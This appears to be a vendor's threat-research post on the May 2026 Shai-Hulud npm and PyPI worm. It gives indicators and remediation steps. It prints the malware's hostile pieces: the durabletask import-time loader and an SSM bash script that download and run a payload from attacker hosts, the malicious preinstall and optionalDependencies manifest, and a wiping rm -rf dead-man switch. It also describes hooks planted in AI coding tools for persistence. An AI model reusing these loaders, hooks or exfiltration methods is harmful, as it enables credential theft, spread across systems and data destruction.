Shai-Hulud Returns: npm Worm hits @antv in latest ongoing campaign

Update, May 19, 2026: Following initial publication, JFrog Security Research identified an additional compromised package, @cap-js/openapi 1.4.1, carrying a closely related Shai-Hulud payload variant that uses a distinct indirect delivery technique. See A Related Variant: @cap-js/openapi below.

Second update, May 19, 2026: JFrog Security Research also identified compromised PyPI package durabletask versions 1.4.1, 1.4.2, and 1.4.3. The package uses an import-time Linux loader to fetch rope.pyz, a direct evolution of the Python transformers.pyz payload analyzed in our previous post, but adds lateral movement through AWS Systems Manager and Kubernetes. See PyPI Payload: durabletask Import-Time Loader below.

JFrog Security Research analyzed a new Shai-Hulud: Here We Go Again wave affecting the npm ecosystem on May 19, 2026, with a related PyPI compromise identified during follow-up analysis. The campaign compromised hundreds of package versions around the @antv ecosystem and related packages, using malicious install-time execution to steal credentials from developer machines, CI/CD runners, cloud environments, and local developer tooling.

This was initially a compromise of 323, now 325 legitimate npm packages, not a fake-package campaign. The npm maintainer account atool (i@hust.cc), which owns 547 packages including the @antv data visualization suite, was compromised through stolen publishing credentials. A second maintainer account, prop, was also compromised and published six packages as part of the same campaign. The later PyPI finding shows the same campaign family also reaching Python users through the legitimate durabletask package.

This post follows JFrog's previous analysis of Shai-Hulud: Here We Go Again. The earlier wave already showed worm-like npm propagation, PyPI import-time payload delivery, GitHub dead-drop exfiltration, and a destructive token monitor. The May 19 wave keeps those core behaviors, but changes the npm delivery path, adds a smaller Bun-based payload, expands persistence through AI-tool hooks, introduces an additional GitHub commit-search C2 daemon that can survive token rotation, and evolves the PyPI payload with lateral movement through cloud and Kubernetes control planes.

Install-Time Delivery Through npm

Analysis of a compromised package sample confirms the core delivery pattern described for the broader wave. The package keeps its legitimate library code in place as cover, but adds a root-level obfuscated index.js payload of roughly 499 KB. Execution is triggered before installation finishes through an npm lifecycle hook:

{
  "scripts": {
    "preinstall": "bun run index.js"
  },
  "dependencies": {
    "bun": "^1.3.13"
  },
  "optionalDependencies": {
    "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"
  }
}

The preinstall hook launches the payload using Bun. Adding Bun as a production dependency is a strong package-level indicator because the legitimate library does not require it. The optionalDependencies entry points to a pinned GitHub commit, giving the attacker a second install-time execution path through npm's handling of GitHub dependencies and lifecycle scripts.

Once launched, the payload daemonizes itself by spawning a detached background copy and exiting the foreground process. This allows the installation to appear normal while the credential collection and persistence logic continues to run.

Obfuscation And Credential Collection

The payload is a single-line, heavily obfuscated Bun bundle. Deobfuscation of the analyzed sample confirmed a custom string decryption layer using PBKDF2-SHA256, XOR-based decoding, and runtime access through globalThis.f2959c600. Sensitive strings such as file paths, commands, API endpoints, and public keys are decrypted only during execution.

The collectors are broad and clearly designed for both developer workstations and build infrastructure. The analyzed payload reads local credential files, captures the shell environment, runs gh auth token to recover GitHub CLI credentials, and searches for token patterns in files. It also includes dedicated collectors for AWS, Kubernetes, HashiCorp Vault, password managers, GitHub repository secrets, and GitHub Actions runner memory.

The GitHub Actions memory collector is one of the most important capabilities. When running on a Linux GitHub Actions runner, the malware looks for a Runner.Worker process and extracts serialized secret values marked with "isSecret":true. This bypasses log masking entirely because the payload reads the runner process memory, not workflow logs.

Targeted data includes:

• GitHub tokens, GitHub CLI tokens, GitHub Actions secrets, and OIDC request material.
• npm tokens and npm trusted-publishing credentials minted through OIDC exchange.
• AWS environment credentials, shared credential files, EC2 IMDSv2 credentials, ECS task role credentials, Secrets Manager values, and SSM Parameter Store values.
• Kubernetes service account tokens, kubeconfig entries, and Kubernetes secrets across accessible namespaces.
• HashiCorp Vault tokens and reachable KV secrets.
• SSH keys, Docker credentials, shell histories, .env files, .npmrc, .pypirc, .netrc, Git credentials, and generic API keys.

Exfiltration Through Encrypted Channels

Our analysis confirms that collected data is serialized, compressed, encrypted with AES-256-GCM, and wrapped with RSA before exfiltration. Only the attacker-controlled RSA private key can decrypt the resulting envelope.

The May 19 wave uses redundant exfiltration paths. The payload uses a direct HTTPS endpoint at hxxps[:]//t[.]m-kosche[.]com:443/api/public/otel/v1/traces, a path shaped to resemble an OpenTelemetry collector endpoint. If the direct channel is unavailable and a stolen GitHub token has sufficient permissions, the payload falls back to creating a public GitHub repository under the victim account and committing encrypted result files under results/.

In this wave, the GitHub dead-drop repository description is reversed as niagA oG eW ereH :duluH-iahS, which decodes to Shai-Hulud: Here We Go Again. The payload writes result batches using the Git Data API, creating blobs, trees, commits, and ref updates. When a stolen token is included in the exfiltration flow, the commit message can include the threat string IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner.

This GitHub-based exfiltration model is especially dangerous in CI/CD environments because outbound access to GitHub is commonly allowed. Blocking only attacker-owned infrastructure is not sufficient when the malware can use legitimate developer platforms as storage and command channels.

What Changed Since The Last Campaign

The previous “Here We Go Again” campaign, also analyzed by JFrog, was a Shai-Hulud wave with npm and PyPI components, worm-like package propagation, encrypted exfiltration, and a destructive gh-token-monitor dead-man switch. The May 19 wave preserves those fundamentals but changes several operational details.

The key lesson is unchanged: provenance can prove where a package was built, but not whether the build environment was compromised. If malware runs inside a trusted workflow, it can mint legitimate-looking publishing credentials and produce packages that appear valid at the provenance layer.

The Dead-Man Switch

Similarly to the last campaign, the most important remediation detail is the destructive token monitor. The analyzed sample confirms that when GitHub repo exfiltration is used, the payload can install a bash-based monitor that polls hxxps[:]//api[.]github[.]com/user with a stolen GitHub token. If the token becomes invalid, the handler command can execute rm -rf ~/; rm -rf ~/Documents.

This behavior is a direct continuation of the dead-man switch described in JFrog's previous Shai-Hulud analysis, where the warning string was IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner. In the May 19 wave, the threat string appears as IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner.

This changes the normal incident-response order. Revoking GitHub tokens first may trigger destructive behavior on infected machines. Affected systems should be isolated from the network, persistence should be stopped and removed, and only then should exposed GitHub tokens and related credentials be revoked.

The May 19 wave also adds kitty-monitor, a persistent GitHub commit-search C2 daemon. It polls GitHub commit search for the keyword firedalazer, validates commands with an embedded RSA public key, downloads the referenced payload, and executes it as Python. This mechanism does not depend on the stolen GitHub token remaining valid, so token rotation alone does not neutralize an infected host.

Persistence And Propagation

The payload contains several persistence mechanisms beyond the token monitor. It copies itself into ~/.claude/package/ and ~/.codex/package/, then searches for Claude Code and Codex settings files and injects SessionStart hooks. This causes the payload to execute again when a new AI-tool session starts. It can also add a VS Code folderOpen task, causing execution when a repository folder is opened.

In GitHub Actions environments, the payload can commit malicious files back to accessible repositories and inject workflow files designed to expose repository secrets. The campaign notes describe a workflow named Run Copilot under .github/workflows/codeql.yml, with a branch named chore/add-codeql-static-analysis and commit message fix: ci.

The worm propagation path is also present. The payload includes logic to request an npm OIDC token using ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL, exchange it at the npm registry endpoint, modify package tarballs, and republish infected versions. This allows a compromised CI environment to become a publishing point for additional compromised packages.

PyPI Payload: durabletask Import-Time Loader

After analyzing the npm wave, we identified a related PyPI compromise affecting the legitimate package durabletask. Versions 1.4.1, 1.4.2, and 1.4.3 had a Linux-only downloader appended to the package's __init__.py. Unlike the npm packages, which rely on lifecycle scripts, this payload can execute when Python code imports durabletask.

if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve("hxxps[:]//check.git-service[.]com/rope.pyz", "/tmp/managed.pyz")
        with open(os.devnull, "w") as f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f,
                stderr=f,
                stdin=f,
                start_new_session=True,
            )
    except:
        pass

The loader silently downloads rope.pyz or managed.pyz (depends on the version) from check.git-service[.]com, writes it to /tmp/managed.pyz, and starts it as a detached Python process with all standard streams redirected to /dev/null. The Linux guard mirrors the targeting gate inside the downloaded payload, reducing noise on non-target systems.

The downloaded Python application is not a new family. It is a direct evolution of the transformers.pyz payload described in our previous analysis of Shai-Hulud: Here We Go Again. Several core files are byte-for-byte identical, including __main__.py, aggregate.py, entrypoint.py, roulette.py, collectors/filesystem.py, collectors/gcp.py, collectors/azure.py, collectors/vault.py, and utilities/crypto.py. For the shared anti-analysis checks, credential collectors, encrypted exfiltration chain, GitHub fallback, and geofenced destructive behavior, refer to the previous post. The important change in the durabletask payload is that the same stealer now includes active lateral movement and stronger password-manager access attempts.

Lateral Movement Through AWS SSM

The AWS collector still gathers AWS secrets and SSM parameters, but now also enumerates EC2 instances managed by AWS Systems Manager across 19 regions using DescribeInstanceInformation. For each discovered instance, it records identifiers and status fields such as InstanceId, PingStatus, PlatformType, ComputerName, and IPAddress.

When SSM-managed instances are found, the payload attempts to propagate to up to five online, non-Windows targets. It resolves AWS credentials from the environment or EC2 IMDS, skips systems already marked with ~/.cache/.sys-update-check, and sends an AWS-RunShellScript command that downloads and runs the same Python zip payload:

[ -f "$HOME/.cache/.sys-update-check" ] && exit 0
PAYLOAD_FILE="rope-${RANDOM}.pyz"
curl -sSL "hxxps[:]//check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
  || curl -sSL "hxxps[:]//t[.]m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE"
nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &

The propagation state is written under /tmp/.rope_state/ssm_instances.json, while the per-host marker contains a machine fingerprint derived from host identity files and hostname values. This is a meaningful escalation from the earlier PyPI payload: the malware no longer only steals cloud credentials, it uses them to reach additional machines through legitimate cloud administration channels.

Lateral Movement Through Kubernetes

The Kubernetes collector was also extended from passive collection to propagation. After extracting Kubernetes secrets, the payload attempts to list running pods across all namespaces with kubectl get pods --all-namespaces -o json. It then uses kubectl exec against up to five pods, excluding the current pod identified by $HOSTNAME, and runs the same download-and-execute script used by the SSM path.

A separate marker, ~/.cache/.sys-update-check-k8s, prevents repeated Kubernetes propagation from the same environment. This means a compromised Python import inside a pod or developer environment with cluster access can become a launch point into other workloads, provided the available Kubernetes identity has sufficient exec permissions.

Active Password-Manager Unlocking

The earlier Python payload attempted to dump password-manager data when vaults were already unlocked. The durabletask payload goes further by attempting to unlock them first. It scrapes candidate passwords from environment variables matching patterns such as *PASS*, *SECRET*, *KEY*, BW_*, and OP_*, then also searches shell history files including ~/.bash_history, ~/.zsh_history, and ~/.history.

Those candidates, plus the fallback string anon, are tried against Bitwarden through bw unlock <password> --raw, 1Password through op signin --raw, and pass or gopass through GPG unlock attempts. If an unlock succeeds, the payload proceeds with the same vault-dumping behavior documented in the previous PyPI analysis.

Infrastructure Changes

The durabletask payload also changes the network infrastructure used by the earlier Python stealer. The original PyPI payload used the raw IP 83[.]142[.]209[.]194, disabled TLS verification, and posted stolen data to /v1/weights. The new payload moves to check.git-service[.]com, enables TLS verification, posts encrypted results to /api/public/version, and keeps /v1/models as the roulette endpoint for secondary payload retrieval. Propagation uses hxxps[:]//check.git-service[.]com/rope.pyz with hxxps[:]//t[.]m-kosche[.]com/rope.pyz as a fallback payload URL.

A Related Variant: @cap-js/openapi

After initial publication, JFrog Security Research identified @cap-js/openapi 1.4.1 as another compromised package in this campaign. @cap-js/openapi is a legitimate SAP open-source tool for generating OpenAPI documents from CAP service definitions, with its canonical repository at github:cap-js/openapi. The malicious version 1.4.1 introduces a structural change to the delivery mechanism not seen in the main wave: the package itself contains no malicious code at all. Instead, the payload is delivered entirely through an optionalDependencies entry:

{
  "optionalDependencies": {
    "@sap/setup": "github:cap-js/openapi#d78c25443ec4a0d7f0a85776461f3b1163132537"
  }
}

When a developer installs @cap-js/openapi 1.4.1, npm resolves this optional dependency, fetches the attacker-controlled GitHub commit, and runs the lifecycle scripts embedded in that fetched package. The malicious index.js never appears as a suspicious file inside the installed npm package tarball itself, reducing the chance that a direct tarball inspection will surface the threat. The naming pattern @sap/setup mirrors the @antv/setup name used in the main wave, pointing to the same author behind both deployments.

Notably, commit d78c25443ec4a0d7f0a85776461f3b1163132537 does not belong to any branch in the cap-js/openapi repository and likely originates from a fork outside of it. GitHub still resolves and serves commit SHAs from forks when referenced through the parent repository's URL, which means npm happily fetches the attacker's fork content while the reference appears to point at the legitimate cap-js/openapi repository. This makes the dependency entry look far less suspicious to a casual reviewer.

The payload at that commit (index.js, SHA-256: 7c24b4d9a8f448832f3752d7f67dcdbf1b7f0f41e10bf633efa175e627144e8b) is a re-obfuscated instance of the same Shai-Hulud bundle. The core credential collection, AES-256-GCM exfiltration, persistence logic, and C2 endpoint at hxxps[:]//t[.]m-kosche[.]com are structurally identical to the main wave samples — all capabilities described in this analysis apply equally to this variant. The primary functional difference is in the C2 dead-drop keywords: where the main wave's kitty-monitor polls GitHub commit search for firedalazer, this variant polls for thebeautifulsnadsoftime (sic) and thebeautifulmarchoftime. Using distinct keywords per deployment allows the attacker to address different infected populations with separate follow-on commands without cross-contamination between victim cohorts.

This delivery-by-optional-dependency approach widens the attacker's surface beyond what direct payload embedding requires. Any compromised package that adds a single optionalDependencies line pointing to an attacker-controlled GitHub commit becomes a delivery vehicle, and the npm package tarball itself remains clean by any static inspection that stops at the package boundary.

How did JFrog Curation protect against this attack?

JFrog Curation customers using an immaturity policy were fully protected from this attack, as all of the hijacked packages were flagged in less than 24 hours. Curation has automatic compliance version selection (CVS) mechanism to ensure developer and CI/CD seamless fallback to compliant (non-malicious) versions.

The full, updated list of relevant packages in this campaign is also available through the JFrog Catalog label - “Shai-Hulud: Here We Go Again - May 19”

How can JFrog Xray customers check if they are affected?

Xray customers can check if any of their artifacts is affected by using Impact Search with the relevant XRAY-IDs (see Appendix A) and by searching for the PyPI package/version indicators in Appendix B.

Remediation

PyPI Payload Remediation

• Identify Python environments, lockfiles, container images, and build logs that installed durabletask versions 1.4.1, 1.4.2, or 1.4.3.
• Remove the compromised package version with pip uninstall durabletask, reinstall a verified clean version if required, and inspect durabletask/__init__.py for downloader code referencing check.git-service[.]com/rope.pyz.
• Treat affected Linux hosts as compromised. Remove /tmp/managed.pyz, /tmp/rope-*.pyz, ~/.cache/.sys-update-check, ~/.cache/.sys-update-check-k8s, and /tmp/.rope_state/ssm_instances.json where present.
• Stop and disable pgsql-monitor.service if present with systemctl stop pgsql-monitor.service, systemctl disable pgsql-monitor.service, systemctl --user stop pgsql-monitor.service, and systemctl --user disable pgsql-monitor.service.
• Remove PyPI payload persistence artifacts: ~/.config/systemd/user/pgsql-monitor.service, /etc/systemd/system/pgsql-monitor.service, ~/.local/bin/pgmonitor.py, and /usr/bin/pgmonitor.py.
• Audit AWS CloudTrail and SSM history for suspicious DescribeInstanceInformation and SendCommand activity using AWS-RunShellScript, especially commands that download rope.pyz.
• Audit Kubernetes API logs for unexpected kubectl exec or pod exec activity across namespaces, especially from identities that should only read secrets or metadata.

npm Payload Remediation

• Isolate affected developer machines and CI/CD runners before revoking GitHub tokens. This is the critical first step because token invalidation can trigger the npm dead-man switch.
• Identify affected npm projects by checking Appendix A, then searching lockfiles and package manifests for unexpected preinstall entries running bun run index.js, Bun added as a production dependency, optionalDependencies pointing to github:antvis/G2#1916faa365f2788b6e193514872d51a242876569, or optionalDependencies pointing to github:cap-js/openapi#d78c25443ec4a0d7f0a85776461f3b1163132537.
• Remove malicious npm package versions with npm uninstall <package name>, reinstall verified clean versions, and regenerate lockfiles from trusted package metadata.
• Stop and disable the Linux gh-token-monitor service before credential revocation: systemctl --user stop gh-token-monitor.service and systemctl --user disable gh-token-monitor.service.
• Remove Linux gh-token-monitor artifacts: ~/.config/systemd/user/gh-token-monitor.service, ~/.local/bin/gh-token-monitor.sh, and ~/.config/gh-token-monitor/.
• Stop and disable the Linux kitty-monitor service: systemctl --user stop kitty-monitor.service and systemctl --user disable kitty-monitor.service.
• Remove Linux kitty-monitor artifacts: ~/.config/systemd/user/kitty-monitor.service, ~/.local/share/kitty/cat.py, and /var/tmp/.gh_update_state.
• On macOS, unload gh-token-monitor with launchctl bootout "gui/$(id -u)" ~/Library/LaunchAgents/com.user.gh-token-monitor.plist, then remove ~/Library/LaunchAgents/com.user.gh-token-monitor.plist, ~/.local/bin/gh-token-monitor.sh, and ~/.config/gh-token-monitor/.
• On macOS, unload kitty-monitor with launchctl bootout "gui/$(id -u)" ~/Library/LaunchAgents/com.user.kitty-monitor.plist, then remove ~/Library/LaunchAgents/com.user.kitty-monitor.plist and ~/.local/share/kitty/cat.py.
• Remove AI-tool persistence artifacts, including ~/.claude/package/index.js, ~/.codex/package/index.js, injected .claude/settings.json SessionStart hooks, .vscode/tasks.json folderOpen tasks, .claude/setup.mjs, and .vscode/setup.mjs.
• Review GitHub repositories for unexpected workflow files such as .github/workflows/codeql.yml, the branch chore/add-codeql-static-analysis, commits with message fix: ci, suspicious commits authored as claude@users.noreply.github.com, and public repositories with the description niagA oG eW ereH :duluH-iahS.

General Remediation

• After persistence removal is verified, rotate GitHub tokens, npm tokens, PyPI tokens, GitHub Actions secrets, npm trusted-publishing identities, AWS credentials, Kubernetes service account tokens, Vault tokens, SSH keys, Docker credentials, password-manager credentials, and any secrets present in affected environments.
• Audit npm and PyPI packages that affected identities can publish. Look for unexpected versions published after exposure, unexpected lifecycle scripts, new large payload files, import-time downloaders, and newly added GitHub-based optional dependencies.
• Do not treat valid Sigstore provenance as sufficient proof of legitimacy for packages published during the exposure window. The payload can use a compromised trusted workflow identity to produce valid-looking provenance.
• Rebuild affected developer machines, CI/CD runners, containers, and cloud workloads from clean images, and clear poisoned build caches.
• Consider using npm ci --ignore-scripts in CI where lifecycle scripts are not required, and enforce immaturity or quarantine policies for newly published package versions.
• Block campaign network indicators where possible, but do not rely on network blocking alone because GitHub API access, AWS SSM, and Kubernetes control-plane access are also used for exfiltration, C2, and propagation.

Conclusions

The May 19 Shai-Hulud wave is not just another malicious package incident. The npm payload continues the campaign's install-time credential theft and package propagation model, while the PyPI durabletask payload shows the Python branch evolving from a downloader and stealer into a lateral-movement tool for cloud and Kubernetes environments. The ongoing waves of Shai-Hulud payloads are still in progress, and we can expect to see more of them in the near future.

The biggest operational risk is the remediation trap created by the dead-man switch, as in the previous attack. Defenders usually revoke exposed tokens as fast as possible, but in this case GitHub token revocation can trigger destructive local commands if the monitor is still active. The correct order is host isolation, persistence removal, and then credential rotation.

These malicious packages are detected by JFrog Xray and JFrog Curation.

IOCs

PyPI IOCs

• durabletask (PyPI) - versions 1.4.1, 1.4.2, and 1.4.3.
• hxxps[:]//check.git-service[.]com/rope.pyz - primary PyPI payload and propagation payload URL.
• hxxps[:]//check.git-service[.]com/managed.pyz - primary PyPI payload and propagation payload URL.
• hxxps[:]//t[.]m-kosche[.]com/rope.pyz - fallback PyPI propagation payload URL.
• hxxps[:]//check.git-service[.]com/api/public/version - PyPI encrypted exfiltration endpoint.
• hxxps[:]//check.git-service[.]com/v1/models - PyPI roulette endpoint for secondary payload retrieval.
• hxxps[:]//check.git-service[.]com/audio.mp3 - PyPI destructive second-stage media URL.
• hxxps[:]//api[.]github[.]com/search/commits?q=FIRESCALE - PyPI fallback C2 discovery through signed GitHub commit messages.
• /tmp/managed.pyz - downloaded PyPI payload path used by the durabletask loader.
• /tmp/rope-*.pyz - temporary propagation payload filename pattern.
• ~/.cache/.sys-update-check - AWS SSM propagation marker.
• ~/.cache/.sys-update-check-k8s - Kubernetes propagation marker.
• /tmp/.rope_state/ssm_instances.json - AWS SSM discovery and propagation state.
• pgsql-monitor.service - PyPI second-stage persistence service.
• ~/.config/systemd/user/pgsql-monitor.service - user-level PyPI persistence service path.
• /etc/systemd/system/pgsql-monitor.service - system-level PyPI persistence service path.
• ~/.local/bin/pgmonitor.py - user-level PyPI second-stage persistence payload.
• /usr/bin/pgmonitor.py - system-level PyPI second-stage persistence payload.
• PUSH UR T3MPRR - PyPI GitHub exfiltration repository description.
• FIRESCALE - PyPI fallback C2 keyword used in GitHub commit search.
• AWS-RunShellScript - AWS SSM document used for PyPI lateral movement.
• DescribeInstanceInformation and SendCommand - AWS SSM API actions used during PyPI discovery and propagation.
• he_IL, fa_IR, Jerusalem, Tel_Aviv, and Tehran - geotargeting markers associated with destructive PyPI behavior.

NPM IOCs

• See Appendix A for the full npm package and version list.
• @cap-js/openapi (npm) - XRAY-986402 - version 1.4.1.
• hxxps[:]//t[.]m-kosche[.]com - attacker's C2.
• hxxps[:]//t[.]m-kosche[.]com:443/api/public/otel/v1/traces - direct HTTPS C2 endpoint disguised as an OpenTelemetry traces path.
• hxxps[:]//api[.]github[.]com/search/commits?q=firedalazer - kitty-monitor GitHub commit-search C2 polling.
• hxxps[:]//fulcio[.]sigstore[.]dev/api/v2/signingCert - Sigstore certificate issuance endpoint used during provenance generation.
• hxxps[:]//rekor[.]sigstore[.]dev/api/v1/log/entries - Rekor transparency log submission endpoint used during provenance generation.
• github:antvis/G2#1916faa365f2788b6e193514872d51a242876569 - GitHub optional dependency used by npm payload delivery.
• github:cap-js/openapi#d78c25443ec4a0d7f0a85776461f3b1163132537 - attacker-controlled GitHub commit delivering the @cap-js/openapi variant payload.
• 7c24b4d9a8f448832f3752d7f67dcdbf1b7f0f41e10bf633efa175e627144e8b - SHA-256 of index.js from the @cap-js/openapi variant payload.
• ~/.config/systemd/user/gh-token-monitor.service - Linux user service for the GitHub token dead-man switch.
• ~/.local/bin/gh-token-monitor.sh - GitHub token monitor script.
• ~/.config/gh-token-monitor/ - GitHub token monitor configuration directory.
• ~/Library/LaunchAgents/com.user.gh-token-monitor.plist - macOS LaunchAgent for the GitHub token dead-man switch.
• ~/.config/systemd/user/kitty-monitor.service - Linux user service for the GitHub commit-search C2 daemon.
• ~/Library/LaunchAgents/com.user.kitty-monitor.plist - macOS LaunchAgent for the GitHub commit-search C2 daemon.
• ~/.local/share/kitty/cat.py - Python payload used by kitty-monitor.
• /var/tmp/.gh_update_state - kitty-monitor execution state tracking file.
• ~/.claude/package/index.js - local payload copy used for AI-tool persistence.
• ~/.codex/package/index.js - local payload copy used for AI-tool persistence.
• niagA oG eW ereH :duluH-iahS - reversed GitHub dead-drop repository description.
• IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner - threat string associated with token invalidation.
• firedalazer - GitHub commit-search keyword used by kitty-monitor in the main wave.
• thebeautifulsnadsoftime, thebeautifulmarchoftime - GitHub commit-search keywords used by kitty-monitor in the @cap-js/openapi variant.

Appendix A: NPM Compromised Package versions

Catalog customers - see also “Shai-Hulud: Here We Go Again - May 19” label

Appendix B: PyPI Compromised Package Versions